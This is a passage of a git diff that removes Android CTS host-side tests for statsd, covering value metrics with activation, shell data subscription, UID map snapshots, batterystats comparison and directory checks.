- // Wait for the metrics to propagate to statsd.
- Thread.sleep(1_000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.hasValueMetrics()).isTrue();
- StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertThat(valueData.getDataCount()).isEqualTo(1);
-
- int bucketCount = valueData.getData(0).getBucketInfoCount();
- // should have at least 2 buckets
- assertThat(bucketCount).isAtLeast(2);
- ValueMetricData data = valueData.getData(0);
- int totalValue = 0;
- for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
- assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
- totalValue += (int) bucketInfo.getValues(0).getValueLong();
- }
- // At most we lose one full min bucket
- assertThat((long) totalValue).isGreaterThan(GAP_INTERVAL * NUM_EVENTS - 60_000);
- }
-
- // Test value metric with pulled atoms and across multiple buckets
- public void testPullerAcrossBucketsWithActivation() throws Exception {
- StatsdConfig.Builder builder = createConfigBuilder();
-
- // Add AtomMatcher's.
- int activationAtomMatcherId = 1;
- int activationAtomMatcherLabel = 1;
- AtomMatcher activationAtomMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(
- activationAtomMatcherId, activationAtomMatcherLabel);
- final String atomName = "SYSTEM_ELAPSED_REALTIME";
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
- builder.addAtomMatcher(activationAtomMatcher)
- .addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
-
- // Add ValueMetric.
- builder.addValueMetric(
- ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(atomName.hashCode())
- .setBucket(TimeUnit.ONE_MINUTE)
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
- .build());
- // Add activation.
- builder.addMetricActivation(MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.VALUE_METRIC_ID)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .addEventActivation(EventActivation.newBuilder()
- .setAtomMatcherId(activationAtomMatcherId)
- .setTtlSeconds(5)));
-
-
- // Upload config.
- uploadConfig(builder);
-
- // Wait for 1 min and 10 sec to capture at least 1 bucket
- Thread.sleep(60_000 + 10_000);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(1_000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.getValueMetrics().getDataList()).isEmpty();
- // Bucket is skipped because metric is not activated.
- assertThat(metricReport.getValueMetrics().getSkippedList()).isNotEmpty();
- assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEventList()).isNotEmpty();
- assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEvent(0).getDropReason())
- .isEqualTo(BucketDropReason.NO_DATA);
- }
-
- public void testValueMetricWithConditionAndActivation() throws Exception {
- final int conditionLabel = 2;
- final int activationMatcherId = 5;
- final int activationMatcherLabel = 5;
- final int whatMatcherId = 8;
- final int ttlSec = 5;
-
- // Add AtomMatchers.
- AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
- AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
- AtomMatcher activationMatcher =
- MetricsUtils.startAtomMatcherWithLabel(
- activationMatcherId, activationMatcherLabel);
- AtomMatcher whatMatcher =
- MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
- StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(conditionStartAtomMatcher)
- .addAtomMatcher(conditionStopAtomMatcher)
- .addAtomMatcher(whatMatcher)
- .addAtomMatcher(activationMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add ValueMetric.
- builder
- .addValueMetric(ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(whatMatcher.getId())
- .setBucket(TimeUnit.ONE_MINUTE)
- .setCondition(predicate.getId())
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
- )
- .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
- )
- .addMetricActivation(MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.VALUE_METRIC_ID)
- .addEventActivation(EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .setTtlSeconds(ttlSec)
- )
- );
-
- uploadConfig(builder);
-
- // Activate the metric.
- doAppBreadcrumbReportedStart(activationMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Skipped due to unknown condition at start of bucket.
- doAppBreadcrumbReported(10);
- Thread.sleep(10);
-
- // Skipped due to unknown condition at start of bucket.
- doAppBreadcrumbReported(200);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(conditionLabel);
- Thread.sleep(10);
-
- // Log an event that should not be counted because condition is false.
- doAppBreadcrumbReported(3_000);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Log an event that should not be counted.
- doAppBreadcrumbReported(40_000);
- Thread.sleep(10);
-
- // Condition to true again.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Event should not be counted, metric is still not active.
- doAppBreadcrumbReported(500_000);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReportedStart(activationMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should be counted.
- doAppBreadcrumbReported(6_000_000);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Log an event that should not be counted.
- doAppBreadcrumbReported(70_000_000);
- Thread.sleep(10);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.hasValueMetrics()).isTrue();
- assertThat(metricReport.getIsActive()).isFalse();
-
- StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertThat(valueData.getDataCount()).isEqualTo(1);
- assertThat(valueData.getData(0).getBucketInfoCount()).isEqualTo(1);
- long totalValue = valueData.getData(0).getBucketInfoList().stream()
- .peek(MetricsUtils::assertBucketTimePresent)
- .peek(bucketInfo -> assertThat(bucketInfo.getValuesCount()).isEqualTo(1))
- .map(bucketInfo -> bucketInfo.getValues(0))
- .peek(value -> assertThat(value.getIndex()).isEqualTo(0))
- .mapToLong(value -> value.getValueLong())
- .sum();
- assertThat(totalValue).isEqualTo(6_000_000);
- }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
deleted file mode 100644
index ba980fb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.subscriber;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.compatibility.common.util.CpuFeatures;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemUptime;
-import com.android.os.ShellConfig;
-import com.android.os.statsd.ShellDataProto;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.google.common.io.Files;
-import com.google.protobuf.InvalidProtocolBufferException;
-
-import java.io.File;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.util.Arrays;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Statsd shell data subscription test.
- */
-public class ShellSubscriberTest extends DeviceTestCase {
- private int sizetBytes;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- sizetBytes = getSizetBytes();
- }
-
- public void testShellSubscription() {
- if (sizetBytes < 0) {
- return;
- }
-
- ShellConfig.ShellSubscription config = createConfig();
- CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
- startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
- /*subscriptionTimeSec=*/5);
- checkOutput(receiver);
- }
-
- public void testShellSubscriptionReconnect() {
- if (sizetBytes < 0) {
- return;
- }
-
- ShellConfig.ShellSubscription config = createConfig();
- for (int i = 0; i < 5; i++) {
- CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
- // A subscription time of -1 means that statsd will not impose a timeout on the
- // subscription. Thus, the client will exit before statsd ends the subscription.
- startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
- /*subscriptionTimeSec=*/-1);
- checkOutput(receiver);
- }
- }
-
- private int getSizetBytes() {
- try {
- ITestDevice device = getDevice();
- if (CpuFeatures.isArm64(device)) {
- return 8;
- }
- if (CpuFeatures.isArm32(device)) {
- return 4;
- }
- return -1;
- } catch (DeviceNotAvailableException e) {
- return -1;
- }
- }
-
- // Choose a pulled atom that is likely to be supported on all devices (SYSTEM_UPTIME). Testing
- // pushed atoms is trickier because executeShellCommand() is blocking, so we cannot push a
- // breadcrumb event while the shell subscription is running.
- private ShellConfig.ShellSubscription createConfig() {
- return ShellConfig.ShellSubscription.newBuilder()
- .addPulled(ShellConfig.PulledAtomSubscription.newBuilder()
- .setMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
- .setFreqMillis(2000))
- .build();
- }
-
- /**
- * @param maxTimeoutForCommandSec maximum time imposed by adb that the command will run
- * @param subscriptionTimeSec maximum time imposed by statsd that the subscription will last
- */
- private void startSubscription(
- ShellConfig.ShellSubscription config,
- CollectingByteOutputReceiver receiver,
- int maxTimeoutForCommandSec,
- int subscriptionTimeSec) {
- LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
- try {
- File configFile = File.createTempFile("shellconfig", ".config");
- configFile.deleteOnExit();
- int length = config.toByteArray().length;
- byte[] combined = new byte[sizetBytes + config.toByteArray().length];
-
- System.arraycopy(IntToByteArrayLittleEndian(length), 0, combined, 0, sizetBytes);
- System.arraycopy(config.toByteArray(), 0, combined, sizetBytes, length);
-
- Files.write(combined, configFile);
- String remotePath = "/data/local/tmp/" + configFile.getName();
- getDevice().pushFile(configFile, remotePath);
- LogUtil.CLog.d("waiting....................");
-
- String cmd = String.join(" ", "cat", remotePath, "|", "cmd stats data-subscribe",
- String.valueOf(subscriptionTimeSec));
-
-
- getDevice().executeShellCommand(cmd, receiver, maxTimeoutForCommandSec,
- /*maxTimeToOutputShellResponse=*/maxTimeoutForCommandSec, TimeUnit.SECONDS,
- /*retryAttempts=*/0);
- getDevice().executeShellCommand("rm " + remotePath);
- } catch (Exception e) {
- fail(e.getMessage());
- }
- }
-
- private byte[] IntToByteArrayLittleEndian(int length) {
- ByteBuffer b = ByteBuffer.allocate(sizetBytes);
- b.order(ByteOrder.LITTLE_ENDIAN);
- b.putInt(length);
- return b.array();
- }
-
- // We do not know how much data will be returned, but we can check the data format.
- private void checkOutput(CollectingByteOutputReceiver receiver) {
- int atomCount = 0;
- int startIndex = 0;
-
- byte[] output = receiver.getOutput();
- assertThat(output.length).isGreaterThan(0);
- while (output.length > startIndex) {
- assertThat(output.length).isAtLeast(startIndex + sizetBytes);
- int dataLength = readSizetFromByteArray(output, startIndex);
- if (dataLength == 0) {
- // We have received a heartbeat from statsd. This heartbeat isn't accompanied by any
- // atoms so return to top of while loop.
- startIndex += sizetBytes;
- continue;
- }
- assertThat(output.length).isAtLeast(startIndex + sizetBytes + dataLength);
-
- ShellDataProto.ShellData data = null;
- try {
- int dataStart = startIndex + sizetBytes;
- int dataEnd = dataStart + dataLength;
- data = ShellDataProto.ShellData.parseFrom(
- Arrays.copyOfRange(output, dataStart, dataEnd));
- } catch (InvalidProtocolBufferException e) {
- fail("Failed to parse proto");
- }
-
- assertThat(data.getAtomCount()).isEqualTo(1);
- assertThat(data.getAtom(0).hasSystemUptime()).isTrue();
- assertThat(data.getAtom(0).getSystemUptime().getUptimeMillis()).isGreaterThan(0L);
- atomCount++;
- startIndex += sizetBytes + dataLength;
- }
- assertThat(atomCount).isGreaterThan(0);
- }
-
- // Converts the bytes in range [startIndex, startIndex + sizetBytes) from a little-endian array
- // into an integer. Even though sizetBytes could be greater than 4, we assume that the result
- // will fit within an int.
- private int readSizetFromByteArray(byte[] arr, int startIndex) {
- int value = 0;
- for (int j = 0; j < sizetBytes; j++) {
- value += ((int) arr[j + startIndex] & 0xffL) << (8 * j);
- }
- return value;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
deleted file mode 100644
index 4ceefa7..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.uidmap;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.UidMapping;
-import com.android.os.StatsLog.UidMapping.PackageInfoSnapshot;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-public class UidMapTests extends DeviceAtomTestCase {
-
- // Tests that every report has at least one snapshot.
- public void testUidSnapshotIncluded() throws Exception {
- // There should be at least the test app installed during the test setup.
- createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-
- ConfigMetricsReportList reports = getReportList();
- assertThat(reports.getReportsCount()).isGreaterThan(0);
-
- for (ConfigMetricsReport report : reports.getReportsList()) {
- UidMapping uidmap = report.getUidMap();
- assertThat(uidmap.getSnapshotsCount()).isGreaterThan(0);
- for (PackageInfoSnapshot snapshot : uidmap.getSnapshotsList()) {
- // There must be at least one element in each snapshot (at least one package is
- // installed).
- assertThat(snapshot.getPackageInfoCount()).isGreaterThan(0);
- }
- }
- }
-
- private boolean hasMatchingChange(UidMapping uidmap, int uid, boolean expectDeletion) {
- LogUtil.CLog.d("The uid we are looking for is " + uid);
- for (UidMapping.Change change : uidmap.getChangesList()) {
- if (change.getAppHash() == DEVICE_SIDE_TEST_PKG_HASH && change.getUid() == uid) {
- if (change.getDeletion() == expectDeletion) {
- return true;
- }
- }
- }
- return false;
- }
-
- // Tests that delta event included during app installation.
- public void testChangeFromInstallation() throws Exception {
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
- // Install the package after the config is sent to statsd. The uid map is not guaranteed to
- // be updated if there's no config in statsd.
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- final String result = getDevice().installPackage(
- buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
-
- Thread.sleep(WAIT_TIME_LONG);
-
- ConfigMetricsReportList reports = getReportList();
- assertThat(reports.getReportsCount()).isGreaterThan(0);
-
- boolean found = false;
- int uid = getUid();
- for (ConfigMetricsReport report : reports.getReportsList()) {
- LogUtil.CLog.d("Got the following report: \n" + report.toString());
- if (hasMatchingChange(report.getUidMap(), uid, false)) {
- found = true;
- }
- }
- assertThat(found).isTrue();
- }
-
- // We check that a re-installation gives a change event (similar to an app upgrade).
- public void testChangeFromReinstall() throws Exception {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
- createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
- // Now enable re-installation.
- getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
-
- Thread.sleep(WAIT_TIME_LONG);
-
- ConfigMetricsReportList reports = getReportList();
- assertThat(reports.getReportsCount()).isGreaterThan(0);
-
- boolean found = false;
- int uid = getUid();
- for (ConfigMetricsReport report : reports.getReportsList()) {
- LogUtil.CLog.d("Got the following report: \n" + report.toString());
- if (hasMatchingChange(report.getUidMap(), uid, false)) {
- found = true;
- }
- }
- assertThat(found).isTrue();
- }
-
- public void testChangeFromUninstall() throws Exception {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
- createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
- int uid = getUid();
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-
- Thread.sleep(WAIT_TIME_LONG);
-
- ConfigMetricsReportList reports = getReportList();
- assertThat(reports.getReportsCount()).isGreaterThan(0);
-
- boolean found = false;
- for (ConfigMetricsReport report : reports.getReportsList()) {
- LogUtil.CLog.d("Got the following report: \n" + report.toString());
- if (hasMatchingChange(report.getUidMap(), uid, true)) {
- found = true;
- }
- }
- assertThat(found).isTrue();
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
deleted file mode 100644
index 125a32a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Package;
-import android.os.UidProto.Package.Service;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class BatteryStatsValidationTests extends DeviceAtomTestCase {
-
- private static final String TAG = "Statsd.BatteryStatsValidationTests";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- resetBatteryStatus();
- unplugDevice();
- }
-
- @Override
- protected void tearDown() throws Exception {
- plugInUsb();
- super.tearDown();
- }
-
- /*
- public void testConnectivityStateChange() throws Exception {
- if (!hasFeature(FEATURE_WIFI, true)) return;
- if (!hasFeature(FEATURE_WATCH, false)) return;
- if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
- final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_SHORT);
-
- turnOnAirplaneMode();
- turnOffAirplaneMode();
- // wait for long enough for device to restore connection
- Thread.sleep(13_000);
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- List<CountMetricData> countMetricData = getCountMetricDataList();
- assertThat(countMetricData).hasSize(1);
- assertThat(countMetricData.get(0).getBucketInfoCount()).isEqualTo(1);
- assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isAtLeast(2L);
- assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isEqualTo(
- (long) batterystatsProto.getSystem().getMisc().getNumConnectivityChanges());
- }
- */
-
- public void testPowerUse() throws Exception {
- if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
- resetBatteryStats();
- unplugDevice();
-
- final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.7; // ratio that statsd and bs can differ
-
- StatsdConfig.Builder config = createConfigBuilder();
- addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
- uploadConfig(config);
- unplugDevice();
-
- Thread.sleep(WAIT_TIME_LONG);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
- Thread.sleep(WAIT_TIME_LONG);
-
- setAppBreadcrumbPredicate();
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- Thread.sleep(WAIT_TIME_LONG);
- List<Atom> atomList = getGaugeMetricDataList();
-
- // Extract statsd data
- Atom atom = atomList.get(0);
- long statsdPowerNas = atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs();
- assertThat(statsdPowerNas).isGreaterThan(0L);
-
- // Extract BatteryStats data
- double bsPowerNas = batterystatsProto.getSystem().getPowerUseSummary().getComputedPowerMah()
- * 1_000_000L * 3600L; /* mAh to nAs */
- assertThat(bsPowerNas).isGreaterThan(0d);
-
- assertThat((double) statsdPowerNas)
- .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
- assertThat(bsPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
- }
-
- public void testServiceStartCount() throws Exception {
- final String fileName = "BATTERYSTATS_SERVICE_START_COUNT.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_SHORT);
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- List<CountMetricData> countMetricData = getCountMetricDataList();
- assertThat(countMetricData).isNotEmpty();
- int uid = getUid();
- long countFromStatsd = 0;
- for (CountMetricData data : countMetricData) {
- List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
- if (dims.get(0).getValueInt() == uid) {
- assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
- assertThat(dims.get(2).getValueStr())
- .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
- countFromStatsd = data.getBucketInfo(0).getCount();
- assertThat(countFromStatsd).isGreaterThan(0L);
- }
- }
- long countFromBS = 0;
- for (UidProto uidProto : batterystatsProto.getUidsList()) {
- if (uidProto.getUid() == uid) {
- for (Package pkg : uidProto.getPackagesList()) {
- if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
- for (Service svc : pkg.getServicesList()) {
- if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
- countFromBS = svc.getStartCount();
- assertThat(countFromBS).isGreaterThan(0L);
- }
- }
- }
- }
- }
- }
- assertThat(countFromStatsd).isGreaterThan(0L);
- assertThat(countFromBS).isGreaterThan(0L);
- assertThat(countFromBS).isEqualTo(countFromStatsd);
- }
-
- public void testServiceLaunchCount() throws Exception {
- final String fileName = "BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
-
- Thread.sleep(WAIT_TIME_SHORT);
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- List<CountMetricData> countMetricData = getCountMetricDataList();
- assertThat(countMetricData).isNotEmpty();
- int uid = getUid();
- long countFromStatsd = 0;
- for (CountMetricData data : countMetricData) {
- List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
- if (dims.get(0).getValueInt() == uid) {
- assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
- assertThat(dims.get(2).getValueStr())
- .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
- countFromStatsd = data.getBucketInfo(0).getCount();
- assertThat(countFromStatsd).isGreaterThan(0L);
- }
- }
- long countFromBS = 0;
- for (UidProto uidProto : batterystatsProto.getUidsList()) {
- if (uidProto.getUid() == uid) {
- for (Package pkg : uidProto.getPackagesList()) {
- if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
- for (Service svc : pkg.getServicesList()) {
- if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
- countFromBS = svc.getLaunchCount();
- assertThat(countFromBS).isGreaterThan(0L);
- }
- }
- }
- }
- }
- }
- assertThat(countFromStatsd).isGreaterThan(0L);
- assertThat(countFromBS).isGreaterThan(0L);
- assertThat(countFromBS).isEqualTo(countFromStatsd);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java b/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
deleted file mode 100644
index 37ded0b..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-/**
- * Tests Suite for directories used by Statsd.
- */
-public class DirectoryValidationTest extends DeviceAtomTestCase {
-
- public void testStatsActiveMetricDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testStatsActiveMetricDirectoryExists");
- }
-
- public void testStatsDataDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testStatsDataDirectoryExists");
- }
-
- public void testStatsMetadataDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testStatsMetadataDirectoryExists");
- }
-
- public void testStatsServiceDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testStatsServiceDirectoryExists");
- }
-
- public void testTrainInfoDirectoryExists() throws Exception {
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
- ".DirectoryTests", "testTrainInfoDirectoryExists");
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
deleted file mode 100644
index 5b42aa9..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ /dev/null
@@ -1,306 +0,0 @@
-/*
